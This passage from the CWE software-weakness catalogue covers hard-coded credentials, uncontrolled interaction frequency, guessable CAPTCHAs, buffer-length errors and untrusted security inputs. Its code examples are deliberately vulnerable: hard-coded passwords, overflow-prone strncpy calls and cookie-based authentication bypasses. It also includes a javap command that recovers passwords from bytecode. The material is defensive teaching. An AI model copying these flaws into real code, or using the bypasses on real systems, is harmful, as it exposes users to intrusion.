For inbound authentication using passwords: apply strong one-way hashes to passwords and store those hashes in a configuration file or database with appropriate access control. That way, theft of the file/database still requires the attacker to try to crack the password. When handling an incoming password during authentication, take the hash of the password and compare it to the saved hash. Use randomly assigned salts for each separate hash that is generated. This increases the amount of computation that an attacker needs to conduct a brute-force attack, possibly limiting the effectiveness of the rainbow table method.

Phase: Architecture and Design

For front-end to back-end connections: Three solutions are possible, although none are complete. The first suggestion involves the use of generated passwords or keys that are changed automatically and must be entered at given time intervals by a system administrator. These passwords will be held in memory and only be valid for the time intervals. Next, the passwords or keys should be limited at the back end to only performing actions valid for the front end, as opposed to having full access. Finally, the messages sent should be tagged and checksummed with time sensitive values so as to prevent replay-style attacks.

Demonstrative Examples

Example 1:

The following code uses a hard-coded password to connect to a database:

Example Language: Java

(bad)

```
...  
DriverManager.getConnection(url, "scott", "tiger");  
...
```

This is an example of an external hard-coded password on the client-side of a connection. This code will run successfully, but anyone who has access to it will have access to the password. Once the program has shipped, there is no going back from the database user "scott" with a password of "tiger" unless the program is patched. A devious employee with access to this information can use it to break into the system. Even worse, if attackers have access to the bytecode for application, they can use the `javap -c` command to access the disassembled code, which will contain the values of the passwords used. The result of this operation might look something like the following for the example above:

Example Language:

(attack)

```
javap -c ConnMgr.class
22: ldc #36; //String jdbc:mysql://ixne.com/rxsql
24: ldc #38; //String scott
26: ldc #17; //String tiger
```

Example 2:

The following code is an example of an internal hard-coded password in the back-end:

Example Language: C

(bad)

```
int VerifyAdmin(char *password) {
    if (strcmp(password, "Mew!")) {
        printf("Incorrect Password!\n");
        return(0);
    }
    printf("Entering Diagnostic Mode...\n");
    return(1);
}
```

Example Language: Java

(bad)

```
int VerifyAdmin(String password) {
    if (!password.equals("Mew!")) {
        return(0);
    }
    //Diagnostic Mode
    return(1);
}
```

Every instance of this program can be placed into diagnostic mode with the same password. Even worse is the fact that if this program is distributed as a binary-only distribution, it is very difficult to change that password or disable this "functionality."

Example 3:

The following code examples attempt to verify a password using a hard-coded cryptographic key.

Example Language: C

(bad)

```
int VerifyAdmin(char *password) {
    if (strcmp(password, "68af404b513073584c4b6f22b6c63e6b")) {
        printf("Incorrect Password!\n");
        return(0);
    }
    printf("Entering Diagnostic Mode...\n");
    return(1);
}
```

Example Language: Java

(bad)

```
public boolean VerifyAdmin(String password) {
    if (password.equals("68af404b513073584c4b6f22b6c63e6b")) {
```

```
        System.out.println("Entering Diagnostic Mode...");
        return true;
    }
    System.out.println("Incorrect Password!");
    return false;
}
```

Example Language: C#

(bad)

```
int VerifyAdmin(String password) {
    if (password.Equals("68af404b513073584c4b6f22b6c63e6b")) {
        Console.WriteLine("Entering Diagnostic Mode...");
        return(1);
    }
    Console.WriteLine("Incorrect Password!");
    return(0);
}
```

The cryptographic key is within a hard-coded string value that is compared to the password. It is likely that an attacker will be able to read the key and compromise the system.

Example 4:

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in cleartext. This Java example shows a properties file with a cleartext username / password pair.

Example Language: Java

(bad)

```
# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in cleartext.

Example Language: ASP.NET

(bad)

```
...
<connectionStrings>
  <add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
    providerName="System.Data.Odbc" />
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in cleartext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information.

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2010-2772 | SCADA system uses a hard-coded password to protect back-end database containing authorization information, exploited by Stuxnet worm https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2772 |

CWE-799: Improper Control of Interaction Frequency

Weakness ID : 799

Status: Incomplete

Structure : Simple

Abstraction : Class

Description

The software does not properly limit the number or frequency of interactions that it has with an actor, such as the number of incoming requests.

Extended Description

This can allow the actor to perform actions more frequently than expected. The actor could be a human or an automated process such as a virus or bot. This could be used to cause a denial of service, compromise program logic (such as limiting humans to a single vote), or other consequences. For example, an authentication routine might not limit the number of times an attacker can guess a password. Or, a web site might conduct a poll but only expect humans to vote a maximum of once a day.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|----------|------|-----|---|------|
| ChildOf | P | 691 | Insufficient Control Flow Management | 1381 |
| ParentOf | E | 307 | Improper Restriction of Excessive Authentication Attempts | 692 |

| Nature | Type | ID | Name | Page |
|----------|---|-----|---|------|
| ParentOf |  | 837 | Improper Enforcement of a Single, Unique Action | 1598 |

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Alternate Terms

Insufficient anti-automation : The term "insufficient anti-automation" focuses primarily on non-human actors such as viruses or bots, but the scope of this CWE entry is broader.

Brute force : Vulnerabilities that can be targeted using brute force attacks are often symptomatic of this weakness.

Common Consequences

| Scope | Impact | Likelihood |
|----------------|-----------------------------------|------------|
| Availability | DoS: Resource Consumption (Other) | |
| Access Control | Bypass Protection Mechanism | |
| Other | Other | |

Demonstrative Examples

Example 1:

In the following code a username and password is read from a socket and an attempt is made to authenticate the username and password. The code will continuously checked the socket for a username and password until it has been authenticated.

Example Language: C

(bad)

```
char username[USERNAME_SIZE];
char password[PASSWORD_SIZE];
while (isValidUser == 0) {
    if (getNextMessage(socket, username, USERNAME_SIZE) > 0) {
        if (getNextMessage(socket, password, PASSWORD_SIZE) > 0) {
            isValidUser = AuthenticateUser(username, password);
        }
    }
}
return(SUCCESS);
```

This code does not place any restriction on the number of authentication attempts made. There should be a limit on the number of authentication attempts made to prevent brute force attacks as in the following example code.

Example Language: C

(good)

```
int count = 0;
while ((isValidUser == 0) && (count < MAX_ATTEMPTS)) {
    if (getNextMessage(socket, username, USERNAME_SIZE) > 0) {
        if (getNextMessage(socket, password, PASSWORD_SIZE) > 0) {
            isValidUser = AuthenticateUser(username, password);
        }
    }
    count++;
}
if (isValidUser) {
    return(SUCCESS);
}
else {
    return(FAIL);
}
```

}

CWE-804: Guessable CAPTCHA

| | |
|---------------------------|----------------------------|
| Weakness ID : 804 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The software uses a CAPTCHA challenge, but the challenge can be guessed or automatically recognized by a non-human actor.

Extended Description

An automated attacker could bypass the intended protection of the CAPTCHA challenge and perform actions at a higher frequency than humanly possible, such as launching spam attacks.

There can be several different causes of a guessable CAPTCHA:

- An audio or visual image that does not have sufficient distortion from the unobfuscated source image.
- A question is generated that with a format that can be automatically recognized, such as a math question.
- A question for which the number of possible answers is limited, such as birth years or favorite sports teams.
- A general-knowledge or trivia question for which the answer can be accessed using a data base, such as country capitals or popular actors.
- Other data associated with the CAPTCHA may provide hints about its contents, such as an image whose filename contains the word that is used in the CAPTCHA.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-805: Buffer Access with Incorrect Length Value

Weakness ID : 805

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

1542

The software uses a sequential operation to read or write a buffer, but it uses an incorrect length value that causes it to access memory that is outside of the bounds of the buffer.

Extended Description

When the length value exceeds the size of the destination, a buffer overflow could occur.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

|--------------|---|------------|
| Availability | Modify Memory DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) <i>Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.</i> | |

Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with `setuid` or other special privileges.

Effectiveness = High

Detection techniques for buffer-related errors are more mature than for most other weakness types.

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Effectiveness = Moderate

Without visibility into the code, black box methods may not be able to sufficiently distinguish this weakness from others, requiring manual methods to diagnose the underlying problem.

Manual Analysis

Manual analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. This becomes difficult for weaknesses that must be considered for all inputs, since the attack surface can be too large.

Potential Mitigations

Phase: Requirements

Strategy = Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer. Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Examples include the Safe C String Library (SafeStr) by Messier and Viega [REF-57], and the Strsafe.h library from Microsoft [REF-56].

These libraries provide safer versions of overflow-prone string-handling functions.

Phase: Build and Compilation

Strategy = Compilation or Build Hardening

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows. For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice.

Effectiveness = Defense in Depth

This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Implementation

Consider adhering to the following rules when allocating and managing an application's memory: Double check that the buffer is as large as specified. When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string. Check buffer boundaries if accessing the buffer in a loop and make sure there is no danger of writing past the allocated space. If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Operation

Strategy = Environment Hardening

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64].

Effectiveness = Defense in Depth

This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Operation

Strategy = Environment Hardening

Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [REF-60] [REF-61].

Effectiveness = Defense in Depth

This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Architecture and Design

Phase: Operation

Strategy = Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Architecture and Design

Phase: Operation

Strategy = Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, `java.io.FilePermission` in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness = Limited

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Demonstrative Examples

Example 1:

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

Example Language: C

(bad)

```
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}
```

This function allocates a buffer of 64 bytes to store the hostname under the assumption that the maximum length value of hostname is 64 bytes, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then the function may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).

Example 2:

In the following example, it is possible to request that `memcpy` move a much larger segment of memory than assumed:

Example Language: C

(bad)

```

int returnChunkSize(void *) {
    /* if chunk info is valid, return the size of usable memory,
     * else, return -1 to indicate an error
     */
    ...
}
int main() {
    ...
    memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));
    ...
}

```

If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).

Example 3:

In the following example, the source character string is copied to the dest character string using the method strncpy.

Example Language: C

(bad)

```

...
char source[21] = "the character string";
char dest[12];
strncpy(dest, source, sizeof(source)-1);
...

```

However, in the call to strncpy the source character string is used within the sizeof call to determine the number of characters to copy. This will create a buffer overflow as the size of the source character string is greater than the dest character string. The dest character string should be used within the sizeof call to ensure that the correct number of characters are copied, as shown below.

Example Language: C

(good)

```

...
char source[21] = "the character string";
char dest[12];
strncpy(dest, source, sizeof(dest)-1);
...

```

Example 4:

In this example, the method outputFilenameToLog outputs a filename to a log file. The method arguments include a pointer to a character string containing the file name and an integer for the number of characters in the string. The filename is copied to a buffer where the buffer size is set to a maximum size for inputs to the log file. The method then calls another method to save the contents of the buffer to the log file.

Example Language: C

(bad)

```

#define LOG_INPUT_SIZE 40
// saves the file name to a log file
int outputFilenameToLog(char *filename, int length) {
    int success;
    // buffer with size set to maximum size for input to log file
    char buf[LOG_INPUT_SIZE];
    // copy filename to buffer
    strncpy(buf, filename, length);
}

```

```
// save to log file
success = saveToLogFile(buf);
return success;
}
```

However, in this case the string copy method, `strncpy`, mistakenly uses the length method argument to determine the number of characters to copy rather than using the size of the local character string, `buf`. This can lead to a buffer overflow if the number of characters contained in character string pointed to by `filename` is larger than the number of characters allowed for the local character string. The string copy method should use the `buf` character string within a `sizeof` call to ensure that only characters up to the size of the `buf` array are copied to avoid a buffer overflow, as shown below.

Example Language: C

(good)

```
...
// copy filename to buffer
strncpy(buf, filename, sizeof(buf)-1);
...
```

CWE-806: Buffer Access Using Size of Source Buffer

Weakness ID : 806

Status: Incomplete

Structure : Simple

Abstraction : Variant

Description

The software uses the size of a source buffer when reading from or writing to a destination buffer, which may cause it to access memory that is outside of the bounds of the buffer.

Extended Description

When the size of the destination is smaller than the size of the source, a buffer overflow could occur.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Weakness Ordinalities

Resultant :

Primary :

Applicable Platforms

Language : C (Prevalence = Sometimes)

Language : C++ (Prevalence = Sometimes)

Common Consequences

| Scope | Impact | Likelihood |
|--|---|------------|
| Availability | Modify Memory DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) <i>Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.</i> | |
| Integrity Confidentiality Availability | Read Memory Modify Memory Execute Unauthorized Code or Commands <i>Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy.</i> | |
| Access Control | Bypass Protection Mechanism <i>When the consequence is arbitrary code execution, this can often be used to subvert any other security service.</i> | |

Potential Mitigations

Phase: Architecture and Design

Use an abstraction library to abstract away risky APIs. Examples include the Safe C String Library (SafeStr) by Viega, and the Strsafe.h library from Microsoft. This is not a complete solution, since many buffer overflows are not related to strings.

Phase: Build and Compilation

Use automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include StackGuard, ProPolice and the Microsoft Visual Studio / GS flag. This is not necessarily a complete solution, since these canary-based mechanisms only detect certain types of overflows. In addition, the result is still a denial of service, since the typical response is to exit the application.

Phase: Implementation

Programmers should adhere to the following rules when allocating and managing their applications memory: Double check that your buffer is as large as you specify. When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string.

Check buffer boundaries if calling this function in a loop and make sure there is no danger of writing past the allocated space. Truncate all input strings to a reasonable length before passing them to the copy and concatenation functions

Phase: Operation

Strategy = Environment Hardening

Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64].

Effectiveness = Defense in Depth

This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Operation

Strategy = Environment Hardening

Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [REF-60] [REF-61].

Effectiveness = Defense in Depth

This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Build and Compilation

Phase: Operation

Most mitigating technologies at the compiler or OS level to date address only a subset of buffer overflow problems and rarely provide complete protection against even that subset. It is good practice to implement strategies to increase the workload of an attacker, such as leaving the attacker to guess an unknown value that changes every program execution.

Demonstrative Examples

Example 1:

In the following example, the source character string is copied to the dest character string using the method strncpy.

Example Language: C

(bad)

```
...
char source[21] = "the character string";
char dest[12];
strncpy(dest, source, sizeof(source)-1);
...
```

However, in the call to strncpy the source character string is used within the sizeof call to determine the number of characters to copy. This will create a buffer overflow as the size of the source character string is greater than the dest character string. The dest character string should be used within the sizeof call to ensure that the correct number of characters are copied, as shown below.

Example Language: C

(good)

```
...
char source[21] = "the character string";
```

```
char dest[12];
strncpy(dest, source, sizeof(dest)-1);
...
```

Example 2:

In this example, the method `outputFilenameToLog` outputs a filename to a log file. The method arguments include a pointer to a character string containing the file name and an integer for the number of characters in the string. The filename is copied to a buffer where the buffer size is set to a maximum size for inputs to the log file. The method then calls another method to save the contents of the buffer to the log file.

*Example Language: C**(bad)*

```
#define LOG_INPUT_SIZE 40
// saves the file name to a log file
int outputFilenameToLog(char *filename, int length) {
    int success;
    // buffer with size set to maximum size for input to log file
    char buf[LOG_INPUT_SIZE];
    // copy filename to buffer
    strncpy(buf, filename, length);
    // save to log file
    success = saveToLogFile(buf);
    return success;
}
```

However, in this case the string copy method, `strncpy`, mistakenly uses the length method argument to determine the number of characters to copy rather than using the size of the local character string, `buf`. This can lead to a buffer overflow if the number of characters contained in character string pointed to by `filename` is larger than the number of characters allowed for the local character string. The string copy method should use the `buf` character string within a `sizeof` call to ensure that only characters up to the size of the `buf` array are copied to avoid a buffer overflow, as shown below.

*Example Language: C**(good)*

```
...
// copy filename to buffer
strncpy(buf, filename, sizeof(buf)-1);
...
```

Affected Resources

- Memory

CWE-807: Reliance on Untrusted Inputs in a Security Decision

Weakness ID : 807

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The application uses a protection mechanism that relies on the existence or values of an input, but the input can be modified by an untrusted actor in a way that bypasses the protection mechanism.

Extended Description

Developers may assume that inputs such as cookies, environment variables, and hidden form fields cannot be modified. However, an attacker could change these inputs using customized clients or other attacks. This change might not be detected. When security decisions such as authentication and authorization are made based on the values of these inputs, attackers can bypass the security of the software.

Without sufficient encryption, integrity checking, or other mechanism, any input that originates from an outsider cannot be trusted.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Likelihood Of Exploit

High

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|-----------------------------|------------|
| Confidentiality | Bypass Protection Mechanism | |

| Scope | Impact | Likelihood |
|----------------|---|------------|
| Access Control | Gain Privileges or Assume Identity | |
| Availability | Varies by Context | |
| Other | Attackers can bypass the security decision to access whatever is being protected. The consequences will depend on the associated functionality, but they can range from granting additional privileges to untrusted users to bypassing important security checks. Ultimately, this weakness may lead to exposure or modification of sensitive data, system crash, or execution of arbitrary code. | |

Detection Methods

Manual Static Analysis

Since this weakness does not typically appear frequently within a single software package, manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all potentially-vulnerable operations can be assessed within limited time constraints.

Effectiveness = High

The effectiveness and speed of manual analysis will be reduced if there is not a centralized security mechanism, and the security logic is widely distributed throughout the software.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections)

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction Cost effective for partial coverage: Attack Modeling

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Strategy = Attack Surface Reduction

Store state information and sensitive data on the server side only. Ensure that the system definitively and unambiguously keeps track of its own state and user state and has rules defined for legitimate state transitions. Do not allow any application user to affect state directly in any way other than through legitimate actions leading to state transitions. If information must be stored on the client, do not do so without encryption and integrity checking, or otherwise having a mechanism on the server side to catch tampering. Use a message authentication code (MAC) algorithm, such as Hash Message Authentication Code (HMAC) [REF-529]. Apply this against the state or sensitive data that you has to be exposed, which can guarantee the integrity of the data - i.e., that the data has not been modified. Ensure that a strong hash function is used (CWE-328).

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. With a stateless protocol such as HTTP, use a framework that maintains the state for you. Examples include ASP.NET View State [REF-756] and the OWASP ESAPI Session Management feature [REF-45]. Be careful of language features that provide state support, since these might be provided as a convenience to the programmer and may not be considering security.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Operation

Phase: Implementation

Strategy = Environment Hardening

When using PHP, configure the application so that it does not use `register_globals`. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a `register_globals` emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Phase: Architecture and Design

Phase: Implementation

Strategy = Attack Surface Reduction

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls. Identify all inputs that are used for security decisions and determine if you can modify the design so that you do not have to rely on submitted inputs at all. For example, you may be able to keep critical information about the user's session on the server side instead of recording it within external data.

Demonstrative Examples

Example 1:

The following code excerpt reads a value from a browser cookie to determine the role of the user.

Example Language: Java

(bad)

```
Cookie[] cookies = request.getCookies();
for (int i = 0; i < cookies.length; i++) {
    Cookie c = cookies[i];
    if (c.getName().equals("role")) {
        userRole = c.getValue();
    }
}
```

Example 2:

The following code could be for a medical records application. It performs authentication by checking if a cookie has been set.

Example Language: PHP

(bad)

```
$auth = $_COOKIES['authenticated'];
if (! $auth) {
    if (AuthenticateUser($_POST['user'], $_POST['password']) == "success") {
        // save the cookie to send out in future responses
        setcookie("authenticated", "1", time()+60*60*2);
    }
    else {
        ShowLoginScreen();
        die("\n");
    }
}
DisplayMedicalHistory($_POST['patient_ID']);
```

The programmer expects that the `AuthenticateUser()` check will always be applied, and the "authenticated" cookie will only be set when authentication succeeds. The programmer even diligently specifies a 2-hour expiration for the cookie.

However, the attacker can set the "authenticated" cookie to a non-zero value such as 1. As a result, the `$auth` variable is 1, and the `AuthenticateUser()` check is not even performed. The attacker has bypassed the authentication.

Example 3:

In the following example, an authentication flag is read from a browser cookie, thus allowing for external control of user state data.

Example Language: Java

(bad)

```
Cookie[] cookies = request.getCookies();
for (int i = 0; i < cookies.length; i++) {
    Cookie c = cookies[i];
    if (c.getName().equals("authenticated") && Boolean.TRUE.equals(c.getValue())) {
        authenticated = true;
    }
}
```

```
}
}
```

Example 4:

The following code samples use a DNS lookup in order to decide whether or not an inbound request is from a trusted host. If an attacker can poison the DNS cache, they can gain trusted status.

*Example Language: C**(bad)*

```
struct hostent *hp; struct in_addr myaddr;
char* tHost = "trustme.example.com";
myaddr.s_addr = inet_addr(ip_addr_string);
hp = gethostbyaddr((char *) &myaddr, sizeof(struct in_addr), AF_INET);
if (hp && !strncmp(hp->h_name, tHost, sizeof(tHost))) {
    trusted = true;
} else {
    trusted = false;
}
```

*Example Language: Java**(bad)*

```
String ip = request.getRemoteAddr();
InetAddress addr = InetAddress.getByName(ip);
if (addr.getCanonicalHostName().endsWith("trustme.com")) {
    trusted = true;
}
```

*Example Language: C#**(bad)*

```
IPAddress hostIPAddress = IPAddress.Parse(RemoteIpAddress);
IPEndPoint hostInfo = Dns.GetHostByAddress(hostIPAddress);
if (hostInfo.HostName.EndsWith("trustme.com")) {
    trusted = true;
}
```

IP addresses are more reliable than DNS names, but they can also be spoofed. Attackers can easily forge the source IP address of the packets they send, but response packets will return to the forged IP address. To see the response packets, the attacker has to sniff the traffic between the victim machine and the forged IP address. In order to accomplish the required sniffing, attackers typically attempt to locate themselves on the same subnet as the victim machine. Attackers may be able to circumvent this requirement by using source routing, but source routing is disabled across much of the Internet today. In summary, IP address verification can be a useful part of an authentication scheme, but it should not be the single factor required for authentication.

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-2009-1549 | Attacker can bypass authentication by setting a cookie to a specific value. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1549 |
| CVE-2009-1619 | Attacker can bypass authentication and gain admin privileges by setting an "admin" cookie to 1. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1619 |
| CVE-2009-0864 | Content management system allows admin privileges by setting a "login" cookie to "OK." https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0864 |
| CVE-2008-5784 | e-dating application allows admin privileges by setting the admin cookie to 1. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5784 |

CWE-820: Missing Synchronization

| | |
|---------------------------|----------------------------|
| Weakness ID : 820 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The software utilizes a shared resource in a concurrent manner but does not attempt to synchronize access to the resource.

Extended Description

If access to a shared resource is not synchronized, then the resource may not be in a state that is expected by the software. This might lead to unexpected or insecure behaviors, especially if an attacker can influence the shared resource.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|----------|------|------|---|------|
| ChildOf | | 662 | Improper Synchronization | 1324 |
| ParentOf | | 543 | Use of Singleton Pattern Without Synchronization in a Multithreaded Context | 1147 |
| ParentOf | | 567 | Unsynchronized Access to Shared Data in a Multithreaded Context | 1176 |
